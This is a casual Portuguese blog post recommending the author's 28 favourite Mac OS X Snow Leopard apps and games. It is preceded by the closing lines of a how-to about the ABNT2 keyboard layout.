Pessoal posso garantir a vocês que esse é o melhor Layout para Teclado ABNT2 que existe na WEB, esse muleque merece/merecia o prêmio Nobel.A maioria da soluções usadas antes de chegar a essa eu ficava sem ? (interrogação) e as teclas | e \ (pipe e contra-barra) ficavam invertidas com ” e (aspas duplas e aspas simples) . Eu particurlarmente gosto muito do layout Inglês Internacional, mas há pessoas que não se adaptam ou não gostam de tal, esse how-to espero que sirva de referência para uma melhor esperiência para novos usuários do sistema operacional Mac OS X Snow Leopard (10.6.X).

Abraço a todos. :D

Fonte

Top Aplicativos/Apps for Mac OS X Leopard | Snow Leopard

Top Aplicativos/Apps for Mac OS X Leopard | Snow Leopard

Olá galera tudo na paz?
Hoje por vias de necessidade, venho mostrar “Meus” top aplicativos/apps para Mac(sendo vários pagos e vários Free). Esclarecendo essa frase anterior, via de necessidade foi que nós (Mac users) conseguimos converter mais um usuário Linux  a começar tbm a trabalhar em nosso querido mundo da maça, eis ele Little_oak… em um churrasquinho nada planejado que fizemos no sábado passado, tive a honra e felicidade de transformar uma P5GCM+ Dual Core com um vídeo modesto (8500GT) e uma poderosa ilha de edição e desenvolvimento… que bate de frente com um iMac de 5k tranqüilamente.. mas vamos ao que interessa… eis uma foto do meu Dock….
Dock
Infelizmente ainda preciso por motivos alheios a minha vontade usar aplicativos/apps pagos….(eficiência e produtividade)

Explicando meu Dock da Esquerda pra Direita
1 – O primeiro Ícone é o cara, Finder tão misterioso quanto eficiente
Finder

2- Drashboard, tornou-se muito útil em minha vida quanto aprendi que existem widgets que que agilizam e muito na hora por exemplo de ver notícias, ler um lembrete, saber se meu MacBook está esquentando muito dentre outra funções.
DrashBoard

3 – Firefox, apesar de ultimamente esse danado estar muito guloso(comendo muita memória ram do meu branquinho) esse é um dos caras que não abro mão em meu dock.

FireFox

4 – Google Chrome, esse a cada dia tem conseguido espaço cativo em meu Dock, uma agilidade impressionante, sem contar que a cada dia seguem mais e mais puglins que facilitam nossas vidas…. Acredito que tenha cache interno(brincadeirinha, mas que parece… parece..)
Chrome

5 – Safari, não poderia deixar de cita-lo pois em suas últimas versões tem se mostrado também muito rápido e estável. Torna-se por sua vez uma ótima alternativa ao Firefox e Chrome.
Safari

6 – Get Tube, o próprio nome diz… puxar do youtube, esse ablativo tornou-se ecessêncial comecei no mundo Linux/Mac, no Brasil e em vários lugares do mundo temos pessoas com muito conhecimento para compartilhar… os vídeos do Youtube são uma ótima no que tange a qualquer assunto na área de Tecnologia.
GetTube

7 – Transmission, o meu preferido no mundo dos torrente, não tem espaço pra mais ninguém nessa área em meu Dock, muito rápido, intuitivo, aceita configurações que podem melhorar e muito a performance desse tipo de app, resumindo pode-se dizer que o melhor no mundo dos P2P(em minha modesta opinião e, tomando como base o uso de diversos de seus concorrentes).
Transmission

8 – Terminal, maior amigo do usuário Linux, excepcional, muito semelhante ao Terminal Linux com algumas particularidades, me atende muito bem no que diz respeito Gerenciamento de servidores Linux de clientes e resolver alguns problemas de permissão de forma rápida e eficiente.
Terminal

9 – CoRD, descoberto por acaso em uma busca por opções de aplicativos que utilizam RDP encontrei em um fórum gringo, pessoas elogiando esse app, resolvi teatral; surpreendentemente comporta-se MUITO melhor que Remote Desktop da Micro$oft ( que fica limitado pela falta de opções de configuração de vídeo, tamanho de tela, etc).
CoRD

10 – Chicken of the VNC, outro app encontrado em fórum gringo, muito rápido, estável  e eficiente para acesso em servidores/clientes que utilizam VNC Server… O melhor Viewer pra Mac OS X que já tive o prazer de usar. Nem mesmo o Real VNC Enterprise (Pago) foi tão eficiente em meus testes.
ChickenVNC

11 –  VLC, pra mim um aplicativo que não deveria ficar fora de lista de aplicativos ecencias de qualquer que seja o Sistema Operacional, seja nos nossos queridos Linux e Mac OS ou não tão querido assim Window$, esse é um player que atende com maestria aos propósitos a que se propõe.
VLC

Agora chegou a hora do lazer junto ao seu querido Mac, os próximos 8 itens são joguinhos para aqueles momentos de folga (poucos) da faculdade/trabalho.

12 – Pinbal HD, um joguinho bem leve que é bom pra relaxar e lembrar da infância, onde era faxinado com máquinas Pimbais… o nome por sí já diz tudo, um game Pimbal a altura do Mac OS X .
PinbalHD

13 – Rayman 3, jogo de um bonequinho sem braços e pernas ( possui somente cabeça e membros) que surgiu no final dos anos 90 e que desde aquela época onde meu tio Claudio possuía um 486 com 64Mb de Ram rodando um demo desse carrinha super simpático… desde aquela época me facina as histórias desse amiguinho esquisito.
Rayman3

14 – Word of Goo, joguinho bem interessante formado por melequinhas, VICIANTE…. com versões para Linux e Window$…. parece ser um jogo besta…. mas que na verdade é muito interessante e que faz perder noites e noites querendo passar de cada fase, não tenho certeza mas sugou primeiro no console Nintendo Wii.
WordofGoo

15 – Counter Strike 1.6, esse dispensa comentários…. faz parte do manual de sobrevivência de qualquer Geek/Nerd… um port simplesmente espetacular…. roda como nativo…. posso falar sem medo de errar que roda melhor que o Verdadeiro vindo do Window$.
CounterStrike

16 – Half Life 2, outré port viand do Window$ que me surpreendeu pelo desempenho e estabilidade, dispensa qualquer comentário.
HalfLife2

17 – Call of Duty 4 Modern Warfare, esse cara dispensa qualquer comentário, Game em primeira pessoa (first person shooter) com gráficos impressionantes, ótima jogabilidade e não é um port, é nativo para Mac OS X. Ultimamente tem sido meu maior hoby nos momentos de folga(pouquíssimos).
CallofDuty4

18 – Battlefield 1942, também jogo de tiro em primeira pessoa (first person shooter) que se passa durante a segunda Guerra Mundial, com gráficos e jogabilidades não tão bons quanto Call of Duty 4 Modern Warfare, mas que faz a alegria do pessoal que possui Macs com placas de vídeo modestas como as Intel GMA950 e GMA3100, que não rodaram com maestria os jogos da série Call of Duty , mas que rodaram totalmente bem esse Battlefield 1942 (uma ótima opção para Hardwares mais modestos, como os primeiros macs da série Intel).
BattleField1942

19 – Djay, App pra brincar de DJ de vez em quandovem festinhas simples… apesar de eu não usar todo poder desse carrinha, me parece que não fica atrás de outros aplicativos para mesma função.
Djay

20 – Toast Titanium, podemos dizer que é o Nero pra Mac OS X, grava de CD a Blue Ray … é um canivete suíço no que diz respeito a gravação de mídias.
ToastTitanium

21 – Taco HTML Edit, ótimo editor HTML que conheci faz pouco tempo, surgiu por necessidade de um aplicativo rápido e simples para criação/edição de páginas HTML na faculdade.
TacoHTML

22 – LibreOficce(BrOficce), apesar de meu MacBook ter vindo com Pacote Office da Micro$oft não me adaptei muito bem com o mesmo, logo que surgiu essa fork do OpenOficce instalei aqui no branquinho e estou completamente adaptado e, que me faz ganhar bastante tempo quando preciso utiliza-lo.Tradução.
LibreOficce

23 – Adobe Phoshop CS5, infelizmente ainda não possuímos uma ferramenta tão boa no mundo Open Source quanto o Photoshop, sinceramente espero que antes de minha morte consiga ver a Adobe desenvolvendo um Photoshop for Linux, seria uma revolução no mundo dos sofreares se isso acontecesse, só pra me explicar, o uso desse em meu Dock se dá pela eficiência e produtividade que me dão esse FANTÁSTICO aplicativo editor de imagens.
PhoshopCS5

24 – NO-IP, Serviço de Dns dinâmico muito conhecido por oferecer serviço de qualidade e gratuito. Dispensa comentários. Muitíssimo útil para quando deixo o MacBook em casa em preciso acessá-lo por algum motivo.
NO-IP

25 – VMware Fuzion, Aplicativo de virtualização de sistemas operacionais, o melhor…. quando preciso fazer alguma virtualização seja para uso do Window$ ou nosso amigo Linux, uso ele; que apesar de ser pago, vale cada centavo.
VMware

26 – Tweety Deck, cliente Twitter/Facebook que mostra em sua Mesa(Área de trabalho) notificações em tempo real referentes ao seu perfil no Facebook/Twitter, Não vivo sem ele!
Tweety

27 – Micr$oft Messeger, no quesito mensageiro instantâneo em minha modesta opinião ainda estamos longe de ter no mundo mac um aplicativo tão bom e estável como o Messeger da Micro$oft, Gostava muito do Pidgin mas após alguns desgostos e instabilidade em horas que necessitava agilidade e estabilidade abandonei o mesmo e passei a usar esse mensageiro que está em sua versão número 8 no mac OS X.
Messeger

28 – AppCleaner, aplicativo que nos ajuda na desisntalação de aplicativos no Mac OS X, desistala com eficiência qualquer app e suas dependências; diminuindo assima quantidade de “Lixo” em seu Mac após a desisntalação de aplicativos.
AppCleaner

Galera, esses são meus TOP aplicativos Ecencssiais. Me desculpem se não coloquei somente aplicativos opine source ou gratuitos… Desculpem também pelo tamanho do artigo, mas não poderia ser diferente…mas esses são os que realmente são ecenssiais a mim hoje.:D